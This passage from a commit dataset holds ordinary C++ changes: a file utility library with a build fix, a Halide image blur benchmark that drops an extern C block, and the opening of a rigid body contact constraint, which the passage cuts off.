'\\\\' && path[n] != '\/')\n\t\tn--;\n\tstd::string cutpath = path.substr(0, n);\n\tfor (size_t i = 0; i < cutpath.size(); i++)\n\t{\n\t\tif (cutpath[i] == '\\\\') cutpath[i] = '\/';\n\t}\n#ifndef _WIN32\n\tif (!cutpath.size()) {\n\t\treturn \"\/\";\n\t}\n#endif\n\treturn cutpath;\n}\n\nvoid mkDir(const std::string &path)\n{\n#ifdef _WIN32\n\tmkdir(path.c_str());\n#else\n\tmkdir(path.c_str(), 0777);\n#endif\n}\n<commit_msg>Build fix<commit_after>#ifdef _WIN32\n#define WIN32_LEAN_AND_MEAN\n#include <Windows.h>\n#include <direct.h>\n#else\n#include <dirent.h>\n#include <unistd.h>\n#include <errno.h>\n#endif\n#include <cstring>\n#include <string>\n#include <set>\n#include <algorithm>\n#include <stdio.h>\n#include <sys\/stat.h>\n#include <ctype.h>\n\n#include \"base\/logging.h\"\n#include \"base\/basictypes.h\"\n#include \"file\/file_util.h\"\n\n#if defined(__FreeBSD__) || defined(__APPLE__) || defined(__SYMBIAN32__)\n#define stat64 stat\n#endif\n\n\/\/ Hack\n#ifdef __SYMBIAN32__\nstatic inline int readdir_r(DIR *dirp, struct dirent *entry, struct dirent **result) {\n    struct dirent *readdir_entry;\n\n    readdir_entry = readdir(dirp);\n    if (readdir_entry == NULL) {\n        *result = NULL;\n        return errno;\n    }\n\n    *entry = *readdir_entry;\n    *result = entry;\n    return 0;\n}\n#endif\n\nbool writeStringToFile(bool text_file, const std::string &str, const char *filename)\n{\n\tFILE *f = fopen(filename, text_file ? \"w\" : \"wb\");\n\tif (!f)\n\t\treturn false;\n\tsize_t len = str.size();\n\tif (len != fwrite(str.data(), 1, str.size(), f))\n\t{\n\t\tfclose(f);\n\t\treturn false;\n\t}\n\tfclose(f);\n\treturn true;\n}\n\nbool writeDataToFile(bool text_file, const void* data, const unsigned int size, const char *filename)\n{\n\tFILE *f = fopen(filename, text_file ? \"w\" : \"wb\");\n\tif (!f)\n\t\treturn false;\n\tsize_t len = size;\n\tif (len != fwrite(data, 1, len, f))\n\t{\n\t\tfclose(f);\n\t\treturn false;\n\t}\n\tfclose(f);\n\treturn true;\n}\n\nuint64_t GetSize(FILE *f)\n{\n\t\/\/ can't use off_t here because it can be 32-bit\n\tuint64_t pos = ftell(f);\n\tif (fseek(f, 0, SEEK_END) != 0) {\n\t\treturn 0;\n\t}\n\tuint64_t size = ftell(f);\n\t\/\/ Reset the seek position to where it was when we started.\n\tif ((size != pos) && (fseek(f, pos, SEEK_SET) != 0)) {\n\t\t\/\/ Should error here\n\t\treturn 0;\n\t}\n\treturn size;\n}\n\nbool ReadFileToString(bool text_file, const char *filename, std::string &str)\n{\n\tFILE *f = fopen(filename, text_file ? \"r\" : \"rb\");\n\tif (!f)\n\t\treturn false;\n\tsize_t len = (size_t)GetSize(f);\n\tchar *buf = new char[len + 1];\n\tbuf[fread(buf, 1, len, f)] = 0;\n\tstr = std::string(buf, len);\n\tfclose(f);\n\tdelete [] buf;\n\treturn true;\n}\n\n\nbool readDataFromFile(bool text_file, unsigned char* &data, const unsigned int size, const char *filename)\n{\n\tFILE *f = fopen(filename, text_file ? \"r\" : \"rb\");\n\tif (!f)\n\t\treturn false;\n\tsize_t len = (size_t)GetSize(f);\n\tif(len < size)\n\t{\n\t\tfclose(f);\n\t\treturn false;\n\t}\n\tdata[fread(data, 1, size, f)] = 0;\n\tfclose(f);\n\treturn true;\n}\n\n\n#define DIR_SEP \"\/\"\n#define DIR_SEP_CHR '\\\\'\n\n#ifndef METRO\n\n\/\/ Remove any ending forward slashes from directory paths\n\/\/ Modifies argument.\nstatic void stripTailDirSlashes(std::string &fname)\n{\n\tif (fname.length() > 1)\n\t{\n\t\tsize_t i = fname.length() - 1;\n\t\twhile (fname[i] == DIR_SEP_CHR)\n\t\t\tfname[i--] = '\\0';\n\t}\n\treturn;\n}\n\n\/\/ Returns true if file filename exists\nbool exists(const std::string &filename)\n{\n#ifdef _WIN32\n\treturn GetFileAttributes(filename.c_str()) != 0xFFFFFFFF;\n#else\n\tstruct stat64 file_info;\n\n\tstd::string copy(filename);\n\tstripTailDirSlashes(copy);\n\n\tint result = stat64(copy.c_str(), &file_info);\n\n\treturn (result == 0);\n#endif\n}\n\n\/\/ Returns true if filename is a directory\nbool isDirectory(const std::string &filename)\n{\n\tFileInfo info;\n\tgetFileInfo(filename.c_str(), &info);\n\treturn info.isDirectory;\n}\n\nbool getFileInfo(const char *path, FileInfo *fileInfo)\n{\n\t\/\/ TODO: Expand relative paths?\n\tfileInfo->fullName = path;\n\n#ifdef _WIN32\n\tDWORD attributes = GetFileAttributes(path);\n\tfileInfo->isDirectory = (attributes & FILE_ATTRIBUTE_DIRECTORY) != 0;\n\tfileInfo->isWritable = (attributes & FILE_ATTRIBUTE_READONLY) == 0;\n#else\n\tstruct stat64 file_info;\n\n\tstd::string copy(path);\n\tstripTailDirSlashes(copy);\n\n\tint result = stat64(copy.c_str(), &file_info);\n\n\tif (result < 0) {\n\t\tWLOG(\"IsDirectory: stat failed on %s\", path);\n\t\treturn false;\n\t}\n\n\tfileInfo->isDirectory = S_ISDIR(file_info.st_mode);\n\tfileInfo->isWritable = false;\n\t\/\/ HACK: approximation\n\tif (file_info.st_mode & 0200)\n\t\tfileInfo->isWritable = true;\n#endif\n\treturn true;\n}\n\nstd::string getFileExtension(const std::string &fn) {\n\tint pos = fn.rfind(\".\");\n\tif (pos < 0) return \"\";\n\tstd::string ext = fn.substr(pos+1);\n\tfor (size_t i = 0; i < ext.size(); i++) {\n\t\text[i] = tolower(ext[i]);\n\t}\n\treturn ext;\n}\n\nsize_t getFilesInDir(const char *directory, std::vector<FileInfo> *files, const char *filter) {\n\tsize_t foundEntries = 0;\n\tstd::set<std::string> filters;\n\tstd::string tmp;\n\tif (filter) {\n\t\twhile (*filter) {\n\t\t\tif (*filter == ':') {\n\t\t\t\tfilters.insert(tmp);\n\t\t\t\ttmp = \"\";\n\t\t\t} else {\n\t\t\t\ttmp.push_back(*filter);\n\t\t\t}\n\t\t\tfilter++;\n\t\t}\n\t}\n#ifdef _WIN32\n\t\/\/ Find the first file in the directory.\n\tWIN32_FIND_DATA ffd;\n#ifdef UNICODE\n\tHANDLE hFind = FindFirstFile((std::wstring(directory) + \"\\\\*\").c_str(), &ffd);\n#else\n\tHANDLE hFind = FindFirstFile((std::string(directory) + \"\\\\*\").c_str(), &ffd);\n#endif\n\tif (hFind == INVALID_HANDLE_VALUE) {\n\t\tFindClose(hFind);\n\t\treturn 0;\n\t}\n\t\/\/ windows loop\n\tdo\n\t{\n\t\tconst std::string virtualName(ffd.cFileName);\n#else\n\tstruct dirent_large { struct dirent entry; char padding[FILENAME_MAX+1]; };\n\tstruct dirent_large diren;\n\tstruct dirent *result = NULL;\n\n\tDIR *dirp = opendir(directory);\n\tif (!dirp)\n\t\treturn 0;\n\t\/\/ non windows loop\n\twhile (!readdir_r(dirp, (dirent*) &diren, &result) && result)\n\t{\n\t\tconst std::string virtualName(result->d_name);\n#endif\n\t\t\/\/ check for \".\" and \"..\"\n\t\tif (((virtualName[0] == '.') && (virtualName[1] == '\\0')) ||\n\t\t\t((virtualName[0] == '.') && (virtualName[1] == '.') && \n\t\t\t(virtualName[2] == '\\0')))\n\t\t\tcontinue;\n\n\t\t\/\/ Remove dotfiles (should be made optional?)\n\t\tif (virtualName[0] == '.')\n\t\t\tcontinue;\n\n\t\tFileInfo info;\n\t\tinfo.name = virtualName;\n\t\tinfo.fullName = std::string(directory) + \"\/\" + virtualName;\n\t\tinfo.isDirectory = isDirectory(info.fullName);\n\t\tinfo.exists = true;\n\t\tif (!info.isDirectory) {\n\t\t\tstd::string ext = getFileExtension(info.fullName);\n\t\t\tif (filter) {\n\t\t\t\tif (filters.find(ext) == filters.end())\n\t\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\tfiles->push_back(info);\n#ifdef _WIN32\n\t} while (FindNextFile(hFind, &ffd) != 0);\n\tFindClose(hFind);\n#else\n\t}\n\tclosedir(dirp);\n#endif\n\tstd::sort(files->begin(), files->end());\n\treturn foundEntries;\n}\n\nvoid deleteFile(const char *file)\n{\n#ifdef _WIN32\n\tif (!DeleteFile(file)) {\n\t\tELOG(\"Error deleting %s: %i\", file, GetLastError());\n\t}\n#else\n\tint err = unlink(file);\n\tif (err) {\n\t\tELOG(\"Error unlinking %s: %i\", file, err);\n\t}\n#endif\n}\n#endif\n\nstd::string getDir(const std::string &path)\n{\n\tif (path == \"\/\")\n\t\treturn path;\n\tint n = path.size() - 1;\n\twhile (n >= 0 && path[n] != '\\\\' && path[n] != '\/')\n\t\tn--;\n\tstd::string cutpath = path.substr(0, n);\n\tfor (size_t i = 0; i < cutpath.size(); i++)\n\t{\n\t\tif (cutpath[i] == '\\\\') cutpath[i] = '\/';\n\t}\n#ifndef _WIN32\n\tif (!cutpath.size()) {\n\t\treturn \"\/\";\n\t}\n#endif\n\treturn cutpath;\n}\n\nvoid mkDir(const std::string &path)\n{\n#ifdef _WIN32\n\tmkdir(path.c_str());\n#else\n\tmkdir(path.c_str(), 0777);\n#endif\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <emmintrin.h>\n#include <cmath>\n#include <cstdint>\n#include <cstdio>\n\n#include \"benchmark.h\"\n#include \"HalideBuffer.h\"\n\nusing namespace Halide;\n\n\/\/#define cimg_display 0\n\/\/#include \"CImg.h\"\n\/\/using namespace cimg_library;\n\n\/\/ typedef CImg<uint16_t> Image;\n\ndouble t;\n\n\nBuffer<uint16_t> blur(Buffer<uint16_t> in) {\n    Buffer<uint16_t> tmp(in.width()-8, in.height());\n    Buffer<uint16_t> out(in.width()-8, in.height()-2);\n\n    t = benchmark(10, 1, [&]() {\n        for (int y = 0; y < tmp.height(); y++)\n            for (int x = 0; x < tmp.width(); x++)\n                tmp(x, y) = (in(x, y) + in(x+1, y) + in(x+2, y))\/3;\n\n        for (int y = 0; y < out.height(); y++)\n            for (int x = 0; x < out.width(); x++)\n                out(x, y) = (tmp(x, y) + tmp(x, y+1) + tmp(x, y+2))\/3;\n    });\n\n    return out;\n}\n\n\nBuffer<uint16_t> blur_fast(Buffer<uint16_t> in) {\n    Buffer<uint16_t> out(in.width()-8, in.height()-2);\n\n    t = benchmark(10, 1, [&]() {\n        __m128i one_third = _mm_set1_epi16(21846);\n#pragma omp parallel for\n        for (int yTile = 0; yTile < out.height(); yTile += 32) {\n            __m128i a, b, c, sum, avg;\n            __m128i tmp[(128\/8) * (32 + 2)];\n            for (int xTile = 0; xTile < out.width(); xTile += 128) {\n                __m128i *tmpPtr = tmp;\n                for (int y = 0; y < 32+2; y++) {\n                    const uint16_t *inPtr = &(in(xTile, yTile+y));\n                    for (int x = 0; x < 128; x += 8) {\n                        a = _mm_load_si128((const __m128i*)(inPtr));\n                        b = _mm_loadu_si128((const __m128i*)(inPtr+1));\n                        c = _mm_loadu_si128((const __m128i*)(inPtr+2));\n                        sum = _mm_add_epi16(_mm_add_epi16(a, b), c);\n                        avg = _mm_mulhi_epi16(sum, one_third);\n                        _mm_store_si128(tmpPtr++, avg);\n                        inPtr+=8;\n                    }\n                }\n                tmpPtr = tmp;\n                for (int y = 0; y < 32; y++) {\n                    __m128i *outPtr = (__m128i *)(&(out(xTile, yTile+y)));\n                    for (int x = 0; x < 128; x += 8) {\n                        a = _mm_load_si128(tmpPtr+(2*128)\/8);\n                        b = _mm_load_si128(tmpPtr+128\/8);\n                        c = _mm_load_si128(tmpPtr++);\n                        sum = _mm_add_epi16(_mm_add_epi16(a, b), c);\n                        avg = _mm_mulhi_epi16(sum, one_third);\n                        _mm_store_si128(outPtr++, avg);\n                    }\n                }\n            }\n        }\n    });\n\n    return out;\n}\n\n\/*\n  Image blur_fast(const Image &in) {\n  Image out(in.width(), in.height());\n\n  __m128i one_third = _mm_set1_epi16(21846);\n  #pragma omp parallel for\n  for (int yTile = 0; yTile < in.height(); yTile += 64) {\n  __m128i tmp[(64\/8)*(64+2)];\n  for (int xTile = 0; xTile < in.width(); xTile += 64) {\n  __m128i *tmpPtr = tmp;\n  for (int y = -1; y < 64+1; y++) {\n  const uint16_t *inPtr = &(in(xTile, yTile+y));\n  for (int x = 0; x < 64; x += 8) {\n  __m128i val = _mm_loadu_si128((__m128i *)(inPtr-1));\n  val = _mm_add_epi16(val, _mm_load_si128((__m128i *)inPtr));\n  val = _mm_add_epi16(val, _mm_loadu_si128((__m128i *)(inPtr+1)));\n  val = _mm_mulhi_epi16(val, one_third);\n  _mm_store_si128(tmpPtr++, val);\n  inPtr += 8;\n  }\n  }\n  tmpPtr = tmp;\n  for (int y = 0; y < 64; y++) {\n  __m128i *outPtr = (__m128i *)(&(out(xTile, yTile+y)));\n  for (int x = 0; x < 64; x += 8) {\n  __m128i val = _mm_load_si128(tmpPtr);\n  val = _mm_add_epi16(val, _mm_load_si128(tmpPtr+64\/8));\n  val = _mm_add_epi16(val, _mm_load_si128(tmpPtr+(2*64)\/8));\n  val = _mm_mulhi_epi16(val, one_third);\n  _mm_store_si128(outPtr++, val);\n  tmpPtr++;\n  }\n  }\n  }\n  }\n\n  return out;\n  }\n*\/\n\n\nBuffer<uint16_t> blur_fast2(const Buffer<uint16_t> &in) {\n    Buffer<uint16_t> out(in.width()-8, in.height()-2);\n\n    int vw = in.width()\/8;\n    if (vw > 1024) {\n        printf(\"Image too large for constant-sized stack allocation\\n\");\n        return out;\n    }\n\n    t = benchmark(10, 1, [&]() {\n        \/\/ multiplying by 21846 then taking the top 16 bits is equivalent to\n        \/\/ dividing by three\n        __m128i one_third = _mm_set1_epi16(21846);\n\n#pragma omp parallel for\n        for (int yTile = 0; yTile < in.height(); yTile += 128) {\n            __m128i tmp[1024*4]; \/\/ four scanlines\n            for (int y = -2; y < 128; y++) {\n                \/\/ to produce this scanline of the output\n                __m128i *outPtr = (__m128i *)(&(out(0, yTile + y)));\n                \/\/ we use this scanline of the input\n                const uint16_t *inPtr = &(in(0, yTile + y + 2));\n                \/\/ and these scanlines of the intermediate result\n                \/\/ We start y at negative 2 to fill the tmp buffer\n                __m128i *tmpPtr0 = tmp + ((y+4) & 3) * vw;\n                __m128i *tmpPtr1 = tmp + ((y+3) & 3) * vw;\n                __m128i *tmpPtr2 = tmp + ((y+2) & 3) * vw;\n                for (int x = 0; x < vw; x++) {\n                    \/\/ blur horizontally to produce next scanline of tmp\n                    __m128i val = _mm_load_si128((const __m128i *)(inPtr));\n                    val = _mm_add_epi16(val, _mm_loadu_si128((const __m128i *)(inPtr+1)));\n                    val = _mm_add_epi16(val, _mm_loadu_si128((const __m128i *)(inPtr+2)));\n                    val = _mm_mulhi_epi16(val, one_third);\n                    _mm_store_si128(tmpPtr0++, val);\n\n                    \/\/ blur vertically using previous scanlines of tmp to produce output\n                    if (y >= 0) {\n                        val = _mm_add_epi16(val, _mm_load_si128(tmpPtr1++));\n                        val = _mm_add_epi16(val, _mm_load_si128(tmpPtr2++));\n                        val = _mm_mulhi_epi16(val, one_third);\n                        _mm_store_si128(outPtr++, val);\n                    }\n\n                    inPtr += 8;\n                }\n            }\n        }\n\n    });\n\n    return out;\n}\n\nextern \"C\" {\n#include \"halide_blur.h\"\n}\n\nBuffer<uint16_t> blur_halide(Buffer<uint16_t> in) {\n    Buffer<uint16_t> out(in.width()-8, in.height()-2);\n\n    \/\/ Call it once to initialize the halide runtime stuff\n    halide_blur(in, out);\n\n    t = benchmark(10, 1, [&]() {\n        \/\/ Compute the same region of the output as blur_fast (i.e., we're\n        \/\/ still being sloppy with boundary conditions)\n        halide_blur(in, out);\n    });\n\n    return out;\n}\n\nint main(int argc, char **argv) {\n\n    Buffer<uint16_t> input(6408, 4802);\n\n    for (int y = 0; y < input.height(); y++) {\n        for (int x = 0; x < input.width(); x++) {\n            input(x, y) = rand() & 0xfff;\n        }\n    }\n\n    Buffer<uint16_t> blurry = blur(input);\n    double slow_time = t;\n\n    Buffer<uint16_t> speedy = blur_fast(input);\n    double fast_time = t;\n\n    \/\/Buffer<uint16_t> speedy2 = blur_fast2(input);\n    \/\/float fast_time2 = t;\n\n    Buffer<uint16_t> halide = blur_halide(input);\n    double halide_time = t;\n\n    \/\/ fast_time2 is always slower than fast_time, so skip printing it\n    printf(\"times: %f %f %f\\n\", slow_time, fast_time, halide_time);\n\n    for (int y = 64; y < input.height() - 64; y++) {\n        for (int x = 64; x < input.width() - 64; x++) {\n            if (blurry(x, y) != speedy(x, y) || blurry(x, y) != halide(x, y))\n                printf(\"difference at (%d,%d): %d %d %d\\n\", x, y, blurry(x, y), speedy(x, y), halide(x, y));\n        }\n    }\n\n    return 0;\n}\n<commit_msg>Remove pointless extern C<commit_after>#include <emmintrin.h>\n#include <cmath>\n#include <cstdint>\n#include <cstdio>\n\n#include \"benchmark.h\"\n#include \"HalideBuffer.h\"\n\nusing namespace Halide;\n\n\/\/#define cimg_display 0\n\/\/#include \"CImg.h\"\n\/\/using namespace cimg_library;\n\n\/\/ typedef CImg<uint16_t> Image;\n\ndouble t;\n\n\nBuffer<uint16_t> blur(Buffer<uint16_t> in) {\n    Buffer<uint16_t> tmp(in.width()-8, in.height());\n    Buffer<uint16_t> out(in.width()-8, in.height()-2);\n\n    t = benchmark(10, 1, [&]() {\n        for (int y = 0; y < tmp.height(); y++)\n            for (int x = 0; x < tmp.width(); x++)\n                tmp(x, y) = (in(x, y) + in(x+1, y) + in(x+2, y))\/3;\n\n        for (int y = 0; y < out.height(); y++)\n            for (int x = 0; x < out.width(); x++)\n                out(x, y) = (tmp(x, y) + tmp(x, y+1) + tmp(x, y+2))\/3;\n    });\n\n    return out;\n}\n\n\nBuffer<uint16_t> blur_fast(Buffer<uint16_t> in) {\n    Buffer<uint16_t> out(in.width()-8, in.height()-2);\n\n    t = benchmark(10, 1, [&]() {\n        __m128i one_third = _mm_set1_epi16(21846);\n#pragma omp parallel for\n        for (int yTile = 0; yTile < out.height(); yTile += 32) {\n            __m128i a, b, c, sum, avg;\n            __m128i tmp[(128\/8) * (32 + 2)];\n            for (int xTile = 0; xTile < out.width(); xTile += 128) {\n                __m128i *tmpPtr = tmp;\n                for (int y = 0; y < 32+2; y++) {\n                    const uint16_t *inPtr = &(in(xTile, yTile+y));\n                    for (int x = 0; x < 128; x += 8) {\n                        a = _mm_load_si128((const __m128i*)(inPtr));\n                        b = _mm_loadu_si128((const __m128i*)(inPtr+1));\n                        c = _mm_loadu_si128((const __m128i*)(inPtr+2));\n                        sum = _mm_add_epi16(_mm_add_epi16(a, b), c);\n                        avg = _mm_mulhi_epi16(sum, one_third);\n                        _mm_store_si128(tmpPtr++, avg);\n                        inPtr+=8;\n                    }\n                }\n                tmpPtr = tmp;\n                for (int y = 0; y < 32; y++) {\n                    __m128i *outPtr = (__m128i *)(&(out(xTile, yTile+y)));\n                    for (int x = 0; x < 128; x += 8) {\n                        a = _mm_load_si128(tmpPtr+(2*128)\/8);\n                        b = _mm_load_si128(tmpPtr+128\/8);\n                        c = _mm_load_si128(tmpPtr++);\n                        sum = _mm_add_epi16(_mm_add_epi16(a, b), c);\n                        avg = _mm_mulhi_epi16(sum, one_third);\n                        _mm_store_si128(outPtr++, avg);\n                    }\n                }\n            }\n        }\n    });\n\n    return out;\n}\n\n\/*\n  Image blur_fast(const Image &in) {\n  Image out(in.width(), in.height());\n\n  __m128i one_third = _mm_set1_epi16(21846);\n  #pragma omp parallel for\n  for (int yTile = 0; yTile < in.height(); yTile += 64) {\n  __m128i tmp[(64\/8)*(64+2)];\n  for (int xTile = 0; xTile < in.width(); xTile += 64) {\n  __m128i *tmpPtr = tmp;\n  for (int y = -1; y < 64+1; y++) {\n  const uint16_t *inPtr = &(in(xTile, yTile+y));\n  for (int x = 0; x < 64; x += 8) {\n  __m128i val = _mm_loadu_si128((__m128i *)(inPtr-1));\n  val = _mm_add_epi16(val, _mm_load_si128((__m128i *)inPtr));\n  val = _mm_add_epi16(val, _mm_loadu_si128((__m128i *)(inPtr+1)));\n  val = _mm_mulhi_epi16(val, one_third);\n  _mm_store_si128(tmpPtr++, val);\n  inPtr += 8;\n  }\n  }\n  tmpPtr = tmp;\n  for (int y = 0; y < 64; y++) {\n  __m128i *outPtr = (__m128i *)(&(out(xTile, yTile+y)));\n  for (int x = 0; x < 64; x += 8) {\n  __m128i val = _mm_load_si128(tmpPtr);\n  val = _mm_add_epi16(val, _mm_load_si128(tmpPtr+64\/8));\n  val = _mm_add_epi16(val, _mm_load_si128(tmpPtr+(2*64)\/8));\n  val = _mm_mulhi_epi16(val, one_third);\n  _mm_store_si128(outPtr++, val);\n  tmpPtr++;\n  }\n  }\n  }\n  }\n\n  return out;\n  }\n*\/\n\n\nBuffer<uint16_t> blur_fast2(const Buffer<uint16_t> &in) {\n    Buffer<uint16_t> out(in.width()-8, in.height()-2);\n\n    int vw = in.width()\/8;\n    if (vw > 1024) {\n        printf(\"Image too large for constant-sized stack allocation\\n\");\n        return out;\n    }\n\n    t = benchmark(10, 1, [&]() {\n        \/\/ multiplying by 21846 then taking the top 16 bits is equivalent to\n        \/\/ dividing by three\n        __m128i one_third = _mm_set1_epi16(21846);\n\n#pragma omp parallel for\n        for (int yTile = 0; yTile < in.height(); yTile += 128) {\n            __m128i tmp[1024*4]; \/\/ four scanlines\n            for (int y = -2; y < 128; y++) {\n                \/\/ to produce this scanline of the output\n                __m128i *outPtr = (__m128i *)(&(out(0, yTile + y)));\n                \/\/ we use this scanline of the input\n                const uint16_t *inPtr = &(in(0, yTile + y + 2));\n                \/\/ and these scanlines of the intermediate result\n                \/\/ We start y at negative 2 to fill the tmp buffer\n                __m128i *tmpPtr0 = tmp + ((y+4) & 3) * vw;\n                __m128i *tmpPtr1 = tmp + ((y+3) & 3) * vw;\n                __m128i *tmpPtr2 = tmp + ((y+2) & 3) * vw;\n                for (int x = 0; x < vw; x++) {\n                    \/\/ blur horizontally to produce next scanline of tmp\n                    __m128i val = _mm_load_si128((const __m128i *)(inPtr));\n                    val = _mm_add_epi16(val, _mm_loadu_si128((const __m128i *)(inPtr+1)));\n                    val = _mm_add_epi16(val, _mm_loadu_si128((const __m128i *)(inPtr+2)));\n                    val = _mm_mulhi_epi16(val, one_third);\n                    _mm_store_si128(tmpPtr0++, val);\n\n                    \/\/ blur vertically using previous scanlines of tmp to produce output\n                    if (y >= 0) {\n                        val = _mm_add_epi16(val, _mm_load_si128(tmpPtr1++));\n                        val = _mm_add_epi16(val, _mm_load_si128(tmpPtr2++));\n                        val = _mm_mulhi_epi16(val, one_third);\n                        _mm_store_si128(outPtr++, val);\n                    }\n\n                    inPtr += 8;\n                }\n            }\n        }\n\n    });\n\n    return out;\n}\n\n#include \"halide_blur.h\"\n\nBuffer<uint16_t> blur_halide(Buffer<uint16_t> in) {\n    Buffer<uint16_t> out(in.width()-8, in.height()-2);\n\n    \/\/ Call it once to initialize the halide runtime stuff\n    halide_blur(in, out);\n\n    t = benchmark(10, 1, [&]() {\n        \/\/ Compute the same region of the output as blur_fast (i.e., we're\n        \/\/ still being sloppy with boundary conditions)\n        halide_blur(in, out);\n    });\n\n    return out;\n}\n\nint main(int argc, char **argv) {\n\n    Buffer<uint16_t> input(6408, 4802);\n\n    for (int y = 0; y < input.height(); y++) {\n        for (int x = 0; x < input.width(); x++) {\n            input(x, y) = rand() & 0xfff;\n        }\n    }\n\n    Buffer<uint16_t> blurry = blur(input);\n    double slow_time = t;\n\n    Buffer<uint16_t> speedy = blur_fast(input);\n    double fast_time = t;\n\n    \/\/Buffer<uint16_t> speedy2 = blur_fast2(input);\n    \/\/float fast_time2 = t;\n\n    Buffer<uint16_t> halide = blur_halide(input);\n    double halide_time = t;\n\n    \/\/ fast_time2 is always slower than fast_time, so skip printing it\n    printf(\"times: %f %f %f\\n\", slow_time, fast_time, halide_time);\n\n    for (int y = 64; y < input.height() - 64; y++) {\n        for (int x = 64; x < input.width() - 64; x++) {\n            if (blurry(x, y) != speedy(x, y) || blurry(x, y) != halide(x, y))\n                printf(\"difference at (%d,%d): %d %d %d\\n\", x, y, blurry(x, y), speedy(x, y), halide(x, y));\n        }\n    }\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ BodyBodyConstraint.cpp\n\/\/\n\/\/ Breannan Smith\n\/\/ Last updated: 01\/07\/2016\n\n#include \"BodyBodyConstraint.h\"\n\n#include \"scisim\/Math\/MathUtilities.h\"\n\nBodyBodyConstraint::BodyBodyConstraint( const unsigned idx0, const unsigned idx1, const Vector2s& p, const Vector2s& n, const VectorXs& q )\n: m_idx0( idx0 )\n, m_idx1( idx1 )\n, m_n( n )\n, m_r0( p - q.segment<2>( 3 * m_idx0 ) )\n, m_r1( p - q.segment<2>( 3 * m_idx1 ) )\n{\n  assert( m_idx0 != m_idx1 );\n  assert( m_idx0 < m_idx1 );\n  assert( fabs( m_n.norm() - 1.0 ) <= 1.0e-6 );\n}\n\nscalar BodyBodyConstraint::evalNdotV( const VectorXs& q, const VectorXs& v ) const\n{\n  return m_n.dot( computeRelativeVelocity( q, v ) );\n}\n\nint BodyBodyConstraint::impactStencilSize() const\n{\n  return 3;\n}\n\nvoid BodyBodyConstraint::getSimulatedBodyIndices( std::pair<int,int>& bodies ) const\n{\n  bodies.first = m_idx0;\n  bodies.second = m_idx1;\n}\n\nvoid BodyBodyConstraint::getBodyIndices( std::pair<int,int>& bodies ) const\n{\n  bodies.first = m_idx0;\n  bodies.second = m_idx1;\n}\n\nvoid BodyBodyConstraint::evalH( const VectorXs& q, const MatrixXXsc& basis, MatrixXXsc& H0, MatrixXXsc& H1 ) const\n{\n  assert( H0.rows() == 2 ); assert( H0.cols() == 3 );\n  assert( H1.rows() == 2 ); assert( H1.cols() == 3 );\n  assert( ( basis * basis.transpose() - MatrixXXsc::Identity( 2, 2 ) ).lpNorm<Eigen::Infinity>() <= 1.0e-6 );\n  assert( fabs( basis.determinant() - 1.0 ) <= 1.0e-6 );\n\n  \/\/ Grab the contact normal\n  const Vector2s n{ basis.col( 0 ) };\n  \/\/ Grab the tangent basis\n  const Vector2s t{ basis.col( 1 ) };\n\n  \/\/ Format for H:\n  \/\/   n^T  r x n\n  \/\/   t^T  r x t\n\n  H0.block<1,2>(0,0) = n;\n  H0(0,2) = MathUtilities::cross( m_r0, n );\n\n  H0.block<1,2>(1,0) = t;\n  H0(1,2) = MathUtilities::cross( m_r0, t );\n\n  H1.block<1,2>(0,0) = n;\n  H1(0,2) = MathUtilities::cross( m_r1, n );\n\n  H1.block<1,2>(1,0) = t;\n  H1(1,2) = MathUtilities::cross( m_r1, t );\n}\n\nvoid BodyBodyConstraint::computeContactBasis( const VectorXs& q, const VectorXs& v, MatrixXXsc& basis ) const\n{\n  assert( fabs( m_n.norm() - 1.0 ) <= 1.0e-6 );\n  const Vector2s t{ -m_n.y(), m_n.x() };\n  assert( fabs( t.norm() - 1.0 ) <= 1.0e-6 ); assert( fabs( m_n.dot( t ) ) <= 1.0e-6 );\n  basis.resize( 2, 2 );\n  basis.col( 0 ) = m_n;\n  basis.col( 1 ) = t;\n}\n\nbool BodyBodyConstraint::conservesTranslationalMomentum() const\n{\n  return true;\n}\n\nbool BodyBodyConstraint::conservesAngularMomentumUnderImpact() const\n{\n  return true;\n}\n\nbool BodyBodyConstraint::conservesAngularMomentumUnderImpactAndFriction() const\n{\n  return true;\n}\n\nstd::string BodyBodyConstraint::name() const\n{\n  return \"body_body\";\n}\n\nVectorXs BodyBodyConstraint::computeRelativeVelocity( const VectorXs& q, const VectorXs& v ) const\n{\n  assert( v.size() % 3 == 0 );\n  assert( 3 * m_idx0 + 2 < v.size() );\n  assert( 3 * m_idx1 + 2 < v.size() );\n\n  const Vector2s t0{ -m_r0.y(), m_r0.x() };\n  const Vector2s t1{ -m_r1.y(), m_r1.x() };\n\n  \/\/ v_0 + omega_0 x r_0 - ( v_1 + omega_1 x r_1 )\n  return v.segment<2>( 3 * m_idx0 ) + v( 3 * m_idx0 + 2 ) * t0 - v.segment<2>( 3 * m_idx1 ) - v( 3 * m_idx1 + 2 ) * t1;\n}\n\nvoid BodyBodyConstraint::setBodyIndex0( const unsigned idx )\n{\n  m_idx0 = idx;\n}\n\nvoid BodyBodyConstraint::setBodyIndex1( const unsigned idx )\n{\n  m_idx1 = idx;\n}\n\nVectorXs BodyBodyConstraint::computeKinematicRelativeVelocity( const VectorXs& q, const VectorXs& v ) const\n{\n  \/\/ No kinematic contribution\n  return VectorXs::Zero( 2 );\n}\n\nvoid BodyBodyConstraint::getWorldSpaceContactPoint( const VectorXs& q, VectorXs& contact_point ) const\n{\n  contact_point = m_r0 + q.segment<2>( 3 * m_idx0 );\n  #ifndef NDEBUG\n  const VectorXs p{ m_r1 + q.segment<2>( 3 * m_idx1 ) };\n  assert( ( p - contact_point ).lpNorm<Eigen::Infinity>() <= 1.0e-6 );\n  #endif\n}\n\nvoid BodyBodyConstraint::getWorldSpaceContactNormal( const VectorXs& q, VectorXs& contact_normal ) const\n{\n  contact_normal = m_n;\n}\n<commit_msg>The impact stencil size was off by 2x for the 2D rigid body body-body constraint.<commit_after>\/\/ BodyBodyConstraint.cpp\n\/\/\n\/\/ Breannan Smith\n\/\/ Last updated: 01\/07\/2016\n\n#include \"BodyBodyConstraint.h\"\n\n#include \"scisim\/Math\/MathUtilities.h\"\n\nBodyBodyConstraint::BodyBodyConstraint( const unsigned idx0, const unsigned idx1, const Vector2s& p, const Vector2s& n, const VectorXs& q )\n: m_idx0( idx0 )\n, m_idx1( idx1 )\n, m_n( n )\n, m_r0( p - q.segment<2>( 3 * m_idx0 ) )\n, m_r1( p - q.segment<2>( 3 * m_idx1 ) )\n{\n  assert( m_idx0 != m_idx1 );\n  assert( m_idx0 < 